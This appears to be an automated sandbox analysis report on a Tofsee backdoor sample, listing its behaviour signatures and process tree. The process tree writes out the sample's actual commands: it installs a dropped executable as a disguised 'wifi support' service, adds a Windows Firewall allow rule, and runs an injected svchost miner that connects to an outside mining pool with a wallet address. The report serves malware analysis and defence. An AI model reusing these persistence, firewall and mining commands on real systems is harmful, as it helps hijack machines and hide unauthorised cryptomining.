Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    14/11/2020, 17:54

General

  • Target
    73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe
  • Size 13.8MB
  • Sample201114-llbs67tmvx
  • SHA256 73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe
    "C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:412
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 552
      2⤵
      • Program crash
      PID:2960
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 672
      2⤵
      • Program crash
      PID:1628
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 656
      2⤵
      • Program crash
      PID:864
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 724
      2⤵
      • Program crash
      PID:3640
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 804
      2⤵
      • Program crash
      PID:192
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 892
      2⤵
      • Program crash
      PID:3300
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 952
      2⤵
      • Program crash
      PID:2552
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nbmouruk\
      2⤵
        PID:1272
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 848
        2⤵
        • Program crash
        PID:3340
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 1012
        2⤵
        • Program crash
        PID:3352
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gbfxnyay.exe" C:\Windows\SysWOW64\nbmouruk\
        2⤵
          PID:3552
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 816
          2⤵
          • Program crash
          PID:1312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 1000
          2⤵
          • Program crash
          PID:2116
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nbmouruk binPath= "C:\Windows\SysWOW64\nbmouruk\gbfxnyay.exe /d\"C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:416
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 724
            2⤵
            • Program crash
            PID:1792
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 592
            2⤵
            • Program crash
            PID:2612
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description nbmouruk "wifi internet conection"
            2⤵
              PID:1872
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 1072
              2⤵
              • Program crash
              PID:396
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 1008
              2⤵
              • Program crash
              PID:2792
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start nbmouruk
              2⤵
                PID:3184
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 664
                2⤵
                • Program crash
                PID:732
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 1056
                2⤵
                • Program crash
                PID:3704
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:804
              • C:\Windows\SysWOW64\nbmouruk\gbfxnyay.exe
                C:\Windows\SysWOW64\nbmouruk\gbfxnyay.exe /d"C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:736
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 736 -s 584
                  2⤵
                  • Program crash
                  PID:1848
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1576
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2112
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 736 -s 628
                  2⤵
                  • Program crash
                  PID:1232

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/412-1-0x00000000040B0000-0x00000000040B1000-memory.dmp

                    memory/412-0-0x00000000026C4000-0x00000000026C5000-memory.dmp

                    memory/736-10-0x000000000235F000-0x0000000002360000-memory.dmp

                    memory/736-11-0x0000000002C80000-0x0000000002C81000-memory.dmp

                    memory/1576-16-0x0000000004C40000-0x0000000004E4F000-memory.dmp

                    memory/1576-13-0x0000000000E30000-0x0000000000E45000-memory.dmp

                    memory/1576-17-0x0000000000FF0000-0x0000000000FF6000-memory.dmp

                    memory/1576-18-0x0000000001000000-0x0000000001010000-memory.dmp

                    memory/1576-19-0x0000000003920000-0x0000000003925000-memory.dmp

                    memory/1576-20-0x0000000009350000-0x000000000975B000-memory.dmp

                    memory/1576-21-0x00000000042D0000-0x00000000042D7000-memory.dmp

                    memory/2112-22-0x0000000000900000-0x00000000009F1000-memory.dmp